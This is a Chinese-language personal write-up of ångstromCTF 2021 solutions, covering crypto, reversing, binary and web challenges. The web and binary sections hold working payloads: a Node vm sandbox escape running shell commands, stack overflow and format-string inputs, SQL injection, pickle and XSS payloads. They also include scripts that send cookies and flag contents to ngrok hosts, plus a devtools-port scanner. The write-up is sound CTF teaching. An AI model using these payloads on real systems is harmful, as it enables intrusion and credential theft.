ångstromCTF 2021 WriteUps

我在 ångstromCTF 2021 中自己一個人組一隊練習,最後拿 27 名,有些題目還蠻有趣的所以紀錄一下解法。沒寫的部分我會慢慢補上去。

Misc

Archaic

簡單的 tar 解壓縮。

Fish

用 StegSolve 就能秒殺。

Float On

要把一個雙精度浮點數以 long 表示出來可以用: bytes_to_long(struct.pack('>d', float('nan'))) 之類的方法做到。

第一題是 0.0,第二題是 nan

第三題用 z3 可以知道是 nan 或是 -inf,不過因為 NaN 不合所以答案只有 -inf

1
2
3
4
from z3 import *

x = FP('x', Float64())
solve(x + 1 == x, x * 2 == x)

第四和五也是能用 z3 直接算出來。

CaaSio SE

這題是需要 escape Node.js 內建的 vm module,還要同時通過 AST 層面的檢查與長度的限制才行。

首先是要先找到方法繞過下方的 code 的保護,因為它用了 Object.create(null) 的緣故所以沒辦法直接從 prototype chain 上去 escape。

1
2
3
const ctx = Object.create(null)
vm.runInNewContext(js, ctx))
console.log(ctx.x)

不過這個的關鍵是利用它會去存取 ctx.x 這件事,這部分可以用 Object.defineProperty 去 hook,然後從 arguments.callee.caller 去取得 foreign object 然後從 prototype chain 上面找到 Function 來 escape。

不過在一般情況下如果直接把 get 定義為普通的函數去取用 arguments.callee.caller 的話不知為何會碰到 Strict Mode 的 Error,但是只要把它改成使用 Function 所定義的函數就能繞過了,範例如下:

1
2
3
4
5
6
7
8
9
const vm = require('vm')
const payload = String.raw`
Object.defineProperty(this, 'x', {
get: Function('return arguments.callee.caller.constructor.constructor("return process.mainModule.require(\\"child_process\\").execSync(\\"id\\")+1")()')
})
`
const ctx = Object.create(null)
vm.runInNewContext(payload, ctx)
console.log(ctx.x)

然後之後可以注意到它的 AST check 的部分沒有檢查到 object 的 key 是 computed 的時候是不是 valid 的,所以代表 ({[<expr>]:1}) 這樣的形式是可以繞過的,不過因為它還有各種的長度限制所以要想辦法繞過去才行,最後所得到的 payload 如下:

1
2
3
4
5
const payload = String.raw`
(z='return arguments.callee.caller.constructo'+'r.constructo'+'r("return process.mainModule.require(\\"child_'+'process\\").execSync(\\"cat flag.txt\\")+1")()',{[(d=Object.defineProperty,a=Function)]:1,[d(this,'x',{get:a(z)})]:1})
`.slice(1,-1)
console.log(payload.length)
console.log(payload)

Crypto

Relatively Simple Algorithm

就很單純的 RSA,需要的參數都給你了所以很簡單。

1
2
3
4
5
6
7
8
9
10
11
from Crypto.Util.number import long_to_bytes

n = 113138904645172037883970365829067951997230612719077573521906183509830180342554841790268134999423971247602095979484887092205889453631416247856139838680189062511282674134361726455828113825651055263796576482555849771303361415911103661873954509376979834006775895197929252775133737380642752081153063469135950168223
p = 11556895667671057477200219387242513875610589005594481832449286005570409920461121505578566298354611080750154513073654150580136639937876904687126793459819369
q = 9789731420840260962289569924638041579833494812169162102854947552459243338614590024836083625245719375467053459789947717068410632082598060778090631475194567
e = 65537
c = 108644851584756918977851425216398363307810002101894230112870917234519516101802838576315116490794790271121303531868519534061050530562981420826020638383979983010271660175506402389504477695184339442431370630019572693659580322499801215041535132565595864123113626239232420183378765229045037108065155299178074809432

d = pow(e, -1, (p - 1) * (q - 1))
m = pow(c, d, n)
print(long_to_bytes(m))

Exclusive Cipher

用 xortool 不知為何都沒用,所以自己用 z3 寫了個腳本去解。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from z3 import *

ct = bytes.fromhex(
"ae27eb3a148c3cf031079921ea3315cd27eb7d02882bf724169921eb3a469920e07d0b883bf63c018869a5090e8868e331078a68ec2e468c2bf13b1d9a20ea0208882de12e398c2df60211852deb021f823dda35079b2dda25099f35ab7d218227e17d0a982bee7d098368f13503cd27f135039f68e62f1f9d3cea7c"
)


def solve(actf_idx):
KL = 5
key = [BitVec(f"k_{i}", 8) for i in range(KL)]
sol = Solver()
pt = []
for i in range(len(ct)):
pt.append(ct[i] ^ key[i % KL])
for x in pt:
sol.add(And(0x20 <= x, x <= 0x7E))
actf = b"actf{"
sol.add(And([pt[actf_idx + i] == actf[i] for i in range(len(actf))]))
if sol.check() == sat:
m = sol.model()
key = [m[k].as_long() for k in key]
pt = []
for i in range(len(ct)):
pt.append(ct[i] ^ key[i % KL])
print(bytes(pt))


for i in range(len(ct) - 4):
solve(i)

Keysar v2

單純的 Substitution Cipher,用這個網站可以幫你自動根據頻率解開。

sosig

經典的 Wiener’s attack

Home Rolled Crypto

這題關鍵是在於它的加密過程中並沒有做任何移位的操作,代表在每個位置上每個 byte 都是固定的,所以直接建表出來即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *

BLOCK_SIZE = 16


conn = remote("crypto.2021.chall.actf.co", 21602)


def encrypt(pt):
conn.sendlineafter(b"Would you like to encrypt [1], or try encrypting [2]? ", "1")
conn.sendlineafter(b"What would you like to encrypt:", pt.hex())
return bytes.fromhex(conn.recvline().decode().strip())


ALL = b"".join([bytes([i]) * BLOCK_SIZE for i in range(256)])
ALL_CT = encrypt(ALL)


def build_table():
tbl = {}
for i in range(256):
pt = bytes([i]) * BLOCK_SIZE
idx = ALL.index(pt)
ct = ALL_CT[idx : idx + len(pt)]
for j in range(BLOCK_SIZE):
tbl[(j, i)] = ct[j]
return tbl


def encrypt_with_table(pt, tbl):
s = []
for i in range(len(pt)):
s.append(tbl[(i % BLOCK_SIZE, pt[i])])
return bytes(s)


table = build_table()
conn.sendlineafter(b"Would you like to encrypt [1], or try encrypting [2]? ", "2")
for _ in range(10):
conn.recvuntil(b"Encrypt this: ")
pt = bytes.fromhex(conn.recvline().decode().strip())
ct = encrypt_with_table(pt, table)
conn.sendline(ct.hex())
conn.interactive()

Follow the Currents

因為整個 key stream 只和兩個 byte 的 key 有關,所以暴力找出來就好了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import zlib

with open("enc", "rb") as f:
ct = f.read()


def keystream(key):
index = 0
while 1:
index += 1
if index >= len(key):
key += zlib.crc32(key).to_bytes(4, "big")
yield key[index]


for a in range(256):
for b in range(256):
k = keystream(bytes([a, b]))
pt = []
for x in ct:
pt.append(x ^ next(k))
flag = bytes(pt)
if b"actf" in flag:
print(flag)
exit()

I’m so Random

它產生的數字都是兩個自己寫的 PRNG 的結果相乘的結果,所以可以透過把數字分解之後放入 PRNG 裡面作為 seed 看看是不是能正確的生成之後的數字,我自己是多抓兩個數字去測試看看,如果都正確那代表 seed 都是對的,所以就能輸出之後預測的數字。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from sage.all import divisors

a = 3469929343550880
b = 559203964877745
c = 4033819243757304


def get_pairs(n):
for d in divisors(n):
if d * d > n:
break
yield d, n // d


class Generator:
DIGITS = 8

def __init__(self, seed):
self.seed = seed
# assert(len(str(self.seed)) == self.DIGITS)

def getNum(self):
self.seed = int(
str(self.seed ** 2).rjust(self.DIGITS * 2, "0")[
self.DIGITS // 2 : self.DIGITS + self.DIGITS // 2
]
)
return self.seed


for s1, s2 in get_pairs(a):
g1 = Generator(s1)
g2 = Generator(s2)
if g1.getNum() * g2.getNum() == b:
if g1.getNum() * g2.getNum() == c:
print(s1, s2)
print("predict:")
print(g1.getNum() * g2.getNum())
print(g1.getNum() * g2.getNum())

Circle of Trust

它給你了三個點,然後從題目中的 Circle 和 source code 可以看出它其實是一個圓上面的三個點,而圓心分別是 key 和 iv。已知三個點肯定能還原出一個固定的圓,所以剩下要處裡的只有小數精度問題而已,這部分就靠乘一個大整數再除回來即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from decimal import Decimal, getcontext

getcontext().prec = 50
MULT = 10 ** 10

p1 = (
Decimal("45702021340126875800050711292004769456.2582161398"),
Decimal("310206344424042763368205389299416142157.00357571144"),
)
p2 = (
Decimal("55221733168602409780894163074078708423.359152279"),
Decimal("347884965613808962474866448418347671739.70270575362"),
)
p3 = (
Decimal("14782966793385517905459300160069667177.5906950984"),
Decimal("340240003941651543345074540559426291101.69490484699"),
)


def s_mul(n, p):
return (int(n * p[0]), int(n * p[1]))


def solve_circle(p1, p2, p3):
from sage.all import var, solve

x = var("x")
y = var("y")
a = var("a")
b = var("b")
r = var("r")
circle = (x - a) ** 2 + (y - b) ** 2 == r ** 2
eq1 = circle.subs(x == p1[0]).subs(y == p1[1])
eq2 = circle.subs(x == p2[0]).subs(y == p2[1])
eq3 = circle.subs(x == p3[0]).subs(y == p3[1])
return solve([eq1, eq2, eq3], a, b, r)


pp1 = s_mul(MULT, p1)
pp2 = s_mul(MULT, p2)
pp3 = s_mul(MULT, p3)
sol = solve_circle(pp1, pp2, pp3)
a = int(sol[1][0].rhs())
b = int(sol[1][1].rhs())
print(a, b)

from Crypto.Cipher import AES

key = (a // MULT).to_bytes(16, byteorder="big")
iv = (b // MULT).to_bytes(16, byteorder="big")
ct = bytes.fromhex(
"838371cd89ad72662eea41f79cb481c9bb5d6fa33a6808ce954441a2990261decadf3c62221d4df514841e18c0b47a76"
)
print(AES.new(key, AES.MODE_CBC, iv=iv).decrypt(ct))

有看到有些人是把問題轉化成 Lattice 去解的…

Substitution

這題可以隨意輸入數字vv 取得f(v)=vna0+vn1a1++anmod691f(v)=v^na_0+v^{n-1}a_1+\cdots+a_n\mod{691} 的結果,其中的a0ana_0\cdots a_n 是 flag 的字元。所以只要取得足夠數量的(v,f(v))(v,f(v)) 之後就能用矩陣解線性系統得到答案了。至於長度的部分就用猜的就可以了,不是很重要。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
from sage.all import Matrix, Zmod, vector
from functools import reduce

# conn = process(["python", "chall.py"])
conn = remote("crypto.2021.chall.actf.co", 21601)


def get_num(n):
conn.sendlineafter(b"> ", str(n))
return int(conn.recvline().decode().strip().split(" ")[-1])


MXLEN = 50
nums = [get_num(i) for i in range(MXLEN)]


def solve(flag_len):
mat = []
for i in range(flag_len):
mat.append([pow(i, j, 691) for j in range(flag_len)][::-1])
M = Matrix(Zmod(691), mat)
assert M.rank() == flag_len
sol = M.solve_right(vector(nums[:flag_len]))
if all(0 <= x < 256 for x in sol):
flag = bytes(sol.list())
if b"actf{" in flag:
print(flag)
exit()


for i in range(5, MXLEN):
solve(i)

另一個方法是注意到f(v)f(v) 是個多項式,既然得到了足夠的(v,f(v))(v,f(v)) 點對之後就能用拉格朗日插值法求出係數並得到 flag。Sage 的插值法說明

Oracle of Blair

CBC 模式的 decrypt iv 來自上個 block 的 ciphertext,然後在控制住 iv 的情況下可以讓它 decrypt 'a'*15 + '?',其中的 ? 是 flag 的第一個字元,然後再用暴力的去找那個 ? 是多少即可,剩下的也是以此類推。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import string
from pwn import remote, process

# conn = process(["python", "ang_oracle_chall.py"])
conn = remote("crypto.2021.chall.actf.co", 21112)


def do_oracle(ct):
conn.sendlineafter(b"give input: ", ct.hex())
return bytes.fromhex(conn.recvline().decode().strip())


def split_blocks(bs):
blks = []
for i in range(0, len(bs), 16):
blks.append(bs[i : i + 16])
return blks


MAX_LEN = 64
TARGET_BLK = (MAX_LEN // 16) - 1
flag = b"actf{"
while True:
pfx = b"\x00" * (MAX_LEN - 1 - len(flag))
target = split_blocks(do_oracle(pfx + b"{}"))[TARGET_BLK]
for c in string.printable:
cur = split_blocks(do_oracle(pfx + flag + c.encode()))[TARGET_BLK]
if cur == target:
flag += c.encode()
break
print(flag)
if c == "}":
break

Thunderbolt

這題我一開始的做法是想辦法 reverse,但沒做出什麼來,後來想說能不能 pwn 掉之後就隨便輸入了一大堆字元,就很神奇的發現了 flag 自己就跑出來了。後來去問了出題者才知道這題其實是 RC4,但是它在 swap 的地方使用了這種 xor swap:

1
2
3
a ^= b
b ^= a
a ^= b

這種 swap 的重點在於它只對於 a!=b 時有效,如果 a==b 的話則會把兩個都設成 0,而 RC4 在 swap 的時候本來就有可能是遇到兩個相同的值交換的情形,當 key 越長遇到的機率越高,在這種情況下就有很高的機率把 key stream 變成幾乎都是 0,所以 xor 之後的結果還是原本的 flag。

1
python -c 'print("a"*30000)' | nc crypto.2021.chall.actf.co 21603 | python -c 'print(bytes.fromhex(input()[27:]))'

Rev

FREE FLAGS!!1!!

IDA 打開一看就知道結果了。

Jailbreak

用 ltrace 可以知道需要輸入哪些 string 才行,不過很快就會卡在一個地方進入無限迴圈,用 IDA 打開之後會發現它的 string 都是混淆過的,我這邊用了 angr 去 hook 然後把 string print 出來。

之後和 IDA 做一些對照可以發現它是根據按下紅色或是綠色按鈕去改一個變數,最後的值必須要為 1337 時輸入 bananarama 才能得到 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import angr


def bv2bytes(bv):
h = str(bv).split(" ")[1]
if h.startswith("0x"):
h = h[2:]
if h.endswith(">"):
h = h[:-1]
try:
return bytes.fromhex(h)
except:
return bv


inp = b"""look around
pick the snake up
throw the snake at kmh
knock on the wall
pry the bars open
look around
press the red button
press the green button
press the red button
press the red button
press the green button
press the green button
press the green button
press the red button
press the red button
press the green button
bananarama
"""

proj = angr.Project("./jailbreak")


def dump_strings():
i = 0
global inp
inp = b"\n" * 5

@proj.hook(0x4015A0, length=0)
def hook(state):
nonlocal i
print(i)
# print(state.regs.rdi)
state.regs.rdi = i
if i < 29:
i += 1
else:
exit()

@proj.hook(0x401610, length=0)
def hook_ret(state):
print(bv2bytes(state.memory.load(state.regs.rax, 300)))


def debug():
@proj.hook(0x4011CC, length=0)
def hook_ret(state):
print("r12d", state.regs.r12d)

@proj.hook(0x4015A0, length=0)
def hook(state):
print("rdi", state.regs.rdi)

dump_strings() # Dump strings
# debug() # Debug whether value if correct

st = proj.factory.full_init_state(
args=["./jailbreak"], add_options=angr.options.unicorn, stdin=inp
)
sm = proj.factory.simulation_manager(st)
sm.run()

Infinity Gauntlet

這題是 IDA 打開看一下就能知道怎麼寫腳本的題目,解未知數的地方因為我比較懶,直接用 z3 和 eval…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import process, remote
from z3 import *
from tqdm import tqdm
import re

FLAG_RGX = re.compile(r"[^\u0000{}]+?{[^\u0000{}]+?}")


def foo(a, b):
return a ^ (b + 1) ^ 1337


def bar(a, b, c):
return a + b * (c + 1)


def solve(equ):
# A lazy way to solve it
x = BitVec("x", 32)
s = Solver()
s.add(eval(equ.replace("?", "x").replace("=", "==")))
assert s.check() == sat
m = s.model()
return m[x].as_long()


conn = process("./infinity_gauntlet")
# conn = remote('shell.actf.co', 21700)
conn.recvline()
conn.recvline()

flag = ["\0"] * 100
for rnd in tqdm(range(1, 1000)):
conn.recvline()
equ = conn.recvline().strip().decode()
ans = solve(equ)
if rnd > 49:
idx = (ans >> 8) - rnd
c = chr((ans ^ (idx * 17)) & 0xFF)
if idx < 0:
continue
flag[idx] = c
if FLAG_RGX.match("".join(flag)):
break
conn.sendline(str(ans))
conn.recvline()

print(FLAG_RGX.match("".join(flag)).group(0))

Revex

我的作法是想辦法看懂 regex,一個部分一個部分慢慢讀然後寫成 z3 的條件,最後解出來之後再 call js 去驗證看看即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
import subprocess
from z3 import *

RE = r"^(?=.*re)(?=.{21}[^_]{4}\}$)(?=.{14}b[^_]{2})(?=.{8}[C-L])(?=.{8}[B-F])(?=.{8}[^B-DF])(?=.{7}G(?<pepega>..).{7}t\k<pepega>)(?=.*u[^z].$)(?=.{11}(?<pepeega>[13])s.{2}(?!\k<pepeega>)[13]s)(?=.*_.{2}_)(?=actf\{)(?=.{21}[p-t])(?=.*1.*3)(?=.{20}(?=.*u)(?=.*y)(?=.*z)(?=.*q)(?=.*_))(?=.*Ex)"

flag = [BitVec(f"f_{i}", 8) for i in range(26)]
sol = Solver()

for c in flag:
sol.add(And(0x20 <= c, c <= 125))

# (?=.{21}[^_]{4}\}$)
for i, c in enumerate(b"actf{"):
sol.add(flag[i] == c)
for i in range(21, 21 + 4):
sol.add(flag[i] != ord("_"))
sol.add(flag[25] == ord("}"))

# (?=.{14}b[^_]{2})
sol.add(flag[14] == ord("b"))
for i in range(15, 15 + 2):
sol.add(flag[i] != ord("_"))

# (?=.{8}[C-L])(?=.{8}[B-F])(?=.{8}[^B-DF])
sol.add(flag[8] == ord("E"))

# (?=.{7}G(?<pepega>..).{7}t\k<pepega>)
sol.add(flag[7] == ord("G"))
pepega = flag[8:10]
sol.add(flag[17] == ord("t"))
for a, b in zip(pepega, flag[18:20]):
sol.add(a == b)

# (?=.{11}(?<pepeega>[13])s.{2}(?!\k<pepeega>)[13]s)
pepeega = flag[11]
sol.add(Or(pepeega == ord("1"), pepeega == ord("3")))
sol.add(flag[12] == ord("s"))
sol.add(flag[15] != pepeega)
sol.add(Or(flag[15] == ord("1"), flag[15] == ord("3")))
sol.add(flag[16] == ord("s"))

# (?=.{21}[p-t])
sol.add(And(ord("p") <= flag[21], flag[21] <= ord("t")))

# (?=.{20}(?=.*u)(?=.*y)(?=.*z)(?=.*q)(?=.*_))
for c in b"uyzq_":
sol.add(Or([f == c for f in flag[20:]]))

# (?=.*Ex)
sol.add(
Or(
[
And(flag[i] == ord("E"), flag[i + 1] == ord("x"))
for i in range(len(flag) - 1)
]
)
)

# (?=.*re)
sol.add(
Or(
[
And(flag[i] == ord("r"), flag[i + 1] == ord("e"))
for i in range(len(flag) - 1)
]
)
)

# (?=.*_.{2}_)
sol.add(
Or(
[
And(flag[i] == ord("_"), flag[i + 3] == ord("_"))
for i in range(len(flag) - 3)
]
)
)

cand = []
while sol.check() == sat:
m = sol.model()
s = bytes([m[f].as_long() for f in flag])
cand.append(s.decode())
sol.add(Or([a != b for a, b in zip(flag, s)]))

for c in cand:
r = subprocess.check_output(["node", "-e", f'console.log(/{RE}/.test("{c}"))'])
if b"true" in r:
print(c)

lambda lambda

這題的 intended solution 應該是要用 lambda calculus 去解的,不過我不會所以就想辦法找到規律把 flag 暴力找出來…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from Crypto.Util.number import long_to_bytes
from subprocess import check_output
from multiprocessing.dummy import Pool
import string
from itertools import product


def get_ct(pt):
# pypy is faster
ret = check_output(["pypy3", "./ang_lambda_stdin.py"], input=pt)
return long_to_bytes(int(ret.decode().strip()))


def removeprefix(self: bytes, prefix: bytes, /) -> bytes:
if self.startswith(prefix):
return self[len(prefix) :]
else:
return self[:]


chrs = (
"{_}" + string.digits + string.ascii_lowercase
).encode() # string.printable.encode()

# Local testing: flag{123abcsdf}
# flag = b""
# ct = long_to_bytes(565565770377169444337452969279319838)

flag = b"actf{"
ct = long_to_bytes(2692665569775536810618960607010822800159298089096272924)
while True:
l = len(removeprefix(ct, get_ct(flag)))
pool = Pool(16)
for c, ct2 in zip(chrs, pool.imap(get_ct, map(lambda c: flag + bytes([c]), chrs))):
if len(removeprefix(ct, ct2)) < l:
flag += bytes([c])
break
else:
print("brute force two")
for (c, d), ct2 in zip(
product(chrs, repeat=2),
pool.imap(
get_ct,
map(lambda x: flag + bytes([x[0], x[1]]), product(chrs, repeat=2)),
),
):
if len(removeprefix(ct, ct2)) < l:
flag += bytes([c, d])
break
print(flag)
pool.terminate()
if flag.endswith(b"}"):
break

Binary

Secure Login

它拿 strcmp/dev/urandom 出來的 output 做比較,而第一個 byte 是 \0 的機率是1256\frac{1}{256},所以就反覆輸入空字串直到成功為止。

tranquil

gdb debug 一下算 return address 的 offset,然後改 ret 即可。

1
printf "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x96\x11\x40\x00\n" | nc shell.actf.co 21830

Sanity Checks

一樣是 gdb debug 一下,然後把 local variable 都改成正確的值就有 flag 了。

1
printf 'password123\x00aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x11\x00\x00\x00=\x00\x00\x00\xf5\x00\x00\x007\x00\x00\x002\x00\x00\x00\n' | nc shell.actf.co 21303

stickystacks

printf 從 stack 中拿出 flag 而已。

1
for i in $(seq 31 45); do printf "%%%d\$p\n" $i | nc shell.actf.co 21820 | grep -o '0x.*' | python -c 'print(int(input(),16).to_bytes(8,byteorder="little"))'; done

Web

Jar

用 pickle 去讀 __main__.flag 就好了,payload 是 (c__main__\nflag\nl.

Sea of Quills

直接 SQLi 就行,table 的話也是 injection 就能找出來的。

1
curl "https://seaofquills.2021.chall.actf.co/quills" --data "limit=100&offset=0&cols=url,desc,(select * from flagtable)"

nomnomnom

可以注意到題目有簡單的 XSS,不過卻有以 CSP 的 nonce 去保護住,這個時候可以利用不結束的 <script 去把後面的 nonce="..." 當作自己的 attribute 來用即可。

不過會發現的一件事是它在 Chrome 上起不了作用,看它的 XSSBot 也是有指定使用 Firefox 所以去測試了一下就發現有效,所以就直接把 flag 拿回來即可。

1
2
3
4
5
6
7
await fetch("https://nomnomnom.2021.chall.actf.co/record", {
"headers": {
"content-type": "application/json"
},
"body": JSON.stringify({name:'<script src="data:application/javascript,alert() "',score:87}),
"method": "POST"
}).then(r=>r.text())

Reaction.py

這題可以讓你創建兩個 component,而 component 有很多種類,可以發現說它只有一種特殊的 component freq 沒有做 escape,而它還會根據字出現的頻率由小到大 print 出來,所以能用那個去構造 <script> 做 XSS。

不過很快會發現這種 component 的限制在於字頻,所以沒辦法出現重複的字元,也很難弄出很長的 payload,這時就能結合第二個 component 設為 text,裡面放 js 的內容,其他的 html 就用註解過濾掉即可。閉合的部分因為它最後面還有個 recaptcha 的 tag,可以用它的 </script> 來閉合。

1
2
3
4
5
6
7
8
9
10
11
12
def generate_payload(payload):
s = ""
for i, c in enumerate(payload):
s += c * (i + 1)
return s

reset()
add_component("freq", generate_payload("<script>/*"))
add_component(
"text",
"*/alert(1)//",
)

例如這上面的 script 會產生的結果是:

1
<body><p>All letters: <script>/*<br>Most frequent: '*'x10</p><p>*/alert(1)//</p><script src="https://www.google.com/recaptcha/api.js" async defer></script></body>

至於取得 flag 的地方得用 fetch('/?fakeuser=admin') 才能獲得

註: 實際上字串的地方必須使用 ` 字元而非 ’ 或是 ",因為 flask 會把它們 escape 掉…

Sea of Quills 2

和前一題差不多,只是多個長度限制和 flag 被放到黑名單中了,不過實際上符號旁邊的空格可以被省略,再來是 table name 是不分大小寫的,所以一樣很簡單就能過。

1
curl "https://seaofquills-two.2021.chall.actf.co/quills" --data "limit=100&offset=0&cols=(select*from FLAGTABLE)"

不過據出題者所說,這題的 intended solution 是利用 Ruby 的 regex 預設是 multiline 的,所以 ^$ 實際上 match 的是一行而已,所以只要插入個 \n 就能繞過 regex 檢測。

1
curl "https://seaofquills-two.2021.chall.actf.co/quills" --data "limit=99&cols=(SELECT url&offset=0%0A),* from flagtable"

Spoofy

此題目標是想辦法讓 X-Forwarded-For 變成 1.3.3.7, ... , 1.3.3.7 就能獲得 flag,而題目是架在 Heroku 上的。

我這題是自己在 Heroku 上面架了一個 flask server 去 print X-Forwarded-For 的值,然後自己隨便測試的時候發現了只要傳兩個 X-Forwarded-For 就能繞過了,所以 payload 如下。

1
curl "https://actf-spoofy.herokuapp.com/" -H 'X-Forwarded-For: 1.3.3.7' -H 'X-Forwarded-For: a, 1.3.3.7'

如果想知道原理的話可以看出題者的 WriteUp: https://hackmd.io/@aplet123/SJcgJRoHu

Jason

這題的 Intended Solution 我一開始不曉得為什麼怎麼用都失敗,方法就是先利用 form 去對 /passcode submit passcode=; SameSite=None; Secure,然後再用 jsnop 以及 referrerPolicy="no-referrer" 去取得 flag。

index.php:

1
2
3
4
5
6
7
8
9
10
11
12
<script>
function load(data) {
fetch('/?data=' + encodeURIComponent(data.items[0])).then(close)
}
open('cookie.php','_blank')
const s=document.createElement('script')
s.referrerPolicy='no-referrer'
s.src='https://jason.2021.chall.actf.co/flags?callback=load'
setTimeout(()=>document.body.appendChild(s), 5000)
setInterval(()=>fetch('/ping'),10)
</script>
<img id=img src="https://deelay.me/10000/http://example.com">

cookie.php:

1
2
3
4
<form id=f action="https://jason.2021.chall.actf.co/passcode" method=POST>
<input name=passcode value='; SameSite=None; Secure;'>
</form>
<script>f.submit()</script>

不過這並不是我一開始的解法,因為我最初不知為何都沒辦法讓 referrerPolicy 產生作用,所以我的方法是使用前面 Sea of Quills 的 SQLi 去做 XSS。我在設 cookie 的時候多給它設個 domain,變成 ; SameSite=None; Secure; Domain=2021.chall.actf.co,然後讓它去 Sea of Quills 的 XSS 去讀 document.cookie 就好了。

index.php:

1
2
3
4
5
6
7
8
9
<script>
open('/xss.php?script=xss.js','_blank')
for(var i=0;i<1000000000;i++);
open('/xss.php?script=xss2.js','_blank')
setInterval(()=>{
fetch('https://example.com')
},10)
</script>
<img id=img src="https://deelay.me/10000/http://example.com">

xss.php:

1
2
3
4
5
6
7
8
9
10
11
12
<form id=fr action="https://seaofquills.2021.chall.actf.co/quills" method="POST">
<input name=limit value=1>
<input name=offset value=0>
<input name=cols>
</form>
<script>
const payload='<script src=https://e96adc70eaec.ngrok.io/<?php echo $_GET['script']; ?>></'+'script>'
const params=''+payload.split('').map(x=>x.charCodeAt(0))
const s=`url,desc,(select char(${params}))`
fr.cols.value=s
fr.submit()
</script>

xss.js:

1
2
3
4
5
6
7
8
9
const fr=document.createElement('form')
fr.action='https://jason.2021.chall.actf.co/passcode'
fr.method='POST'
const ps=document.createElement('input')
ps.name='passcode'
ps.value='; SameSite=None; Secure; Domain=2021.chall.actf.co'
fr.appendChild(ps)
document.body.appendChild(fr)
fr.submit()

xss2.js:

1
fetch('https://e96adc70eaec.ngrok.io/report='+btoa(document.cookie))

我用這個方法之後出題者直接來 PM 我問說我怎麼做的,然後簡單講過之後它跟我說這個算是 overcomplicated 的 unintended,不過蠻有趣的做法

Watered Down Watermark as a Service

題目給你了一個 /screenshot 的 endpoint,會用 puppeteer 去瀏覽然後截圖。另一個則是 /add-flag 的 endpoint,會讀取你的 BSON 然後在裡面插入 flag 然後回傳。因為 BSON 的格式問題以及 nosniff,所以沒辦法構造一個 BSON 作為 HTML 來 XSS 之類的。

這題我的作法是來自原題 DiceCTF 2021 的 unintended solution (GitHub 的轉載連結),我相信不少人也是用這個方法解的。

這個方法簡單來說就是對 localhost 做 port scan 找到 puppeteer 的 debugging protocol 的 port,然後自己去瀏覽 http://localhost:port/json/new?file:///app/flag.txt 可以得到一個 websocket 的 url (以截圖出現),然後再寫個頁面去利用 websocket 去和它溝通取得頁面上的資訊並得到 flag。

probe.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<script>
const u = new URL(location.href)
const start = parseInt(u.searchParams.get('start'))
const step = parseInt(u.searchParams.get('step'))
let anySuccess = false
function probeError(port) {
return new Promise(resolve=>{
let script = document.createElement('script');
script.src = `http://localhost:${port}/`;
script.onload = () => {
fetch('/report'+port)
resolve(true)
}
script.onerror = () => resolve(false);
document.head.appendChild(script);
})
}
for(let i=start;i<start+step;i++){
probeError(i)
}
u.searchParams.set('start',start+step)
u.searchParams.set('step',step)
if(start+step<40000){
fetch('https://wdwaas.2021.chall.actf.co/screenshot?url='+encodeURIComponent(u.toString()))
}
</script>

我用了上面這個去做 port scan,主要在 30000~40000 的範圍找,因為它的 port 幾乎都在這個區間。

找到之後再用下面的 solve.php 去和那個 protocol 溝通取得 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<script>
window.ws = new WebSocket('ws://127.0.0.1:32881/devtools/page/43C135B187E801FF9552F626E278BAFB') // from screenshot
ws.onerror = (e=>{document.writeln('error')})
ws.onmessage = (e=>{
document.writeln("<p>"+e.data+"</p>");
})


ws.onopen = ()=>{
ws.send(JSON.stringify({
id:1,
method:"Runtime.evaluate",
params:{
expression:"fetch('https://80a3b922feb5.ngrok.io/flag', {method:'POST', body:document.body.innerHTML})"
}
}))
}
</script>

至於 intended solution 的話我其實原本是有想到相近的方向,首先是我在這邊有看到它說 <img> 實際上不會管 nosniff,所以我的想法是看看能不能用 BSON 構造出 svg 然後把 flag 放到 <text> 裡面,不過自己測試之後發現都不行,也不太確定是什麼原因。

而出題者的解法則是改用 bmp,利用 bmp 的一些構造可以讓 flag 的 bit 變成黑白的 pixel 顯示出來,然後自己轉回 flag…

細節可以自己到這邊看: https://hackmd.io/@lamchcl/BJpOo2Or_#Watered-Down-Watermark-as-a-Service